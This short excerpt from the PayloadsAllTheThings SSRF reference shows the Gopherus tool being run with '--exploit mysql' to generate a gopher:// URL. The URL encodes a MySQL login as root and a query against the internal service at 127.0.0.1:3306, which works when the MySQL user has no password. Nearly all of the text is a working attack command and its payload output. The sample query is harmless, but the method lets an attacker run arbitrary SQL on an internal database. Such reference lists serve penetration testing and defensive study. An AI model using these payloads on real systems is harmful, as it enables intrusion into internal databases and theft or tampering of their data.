MySQL user should not be password protected.
$ python2.7 ./gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: SELECT 123;
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01Source: Server Side Request Forgery/SSRF-Advanced-Exploitation.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.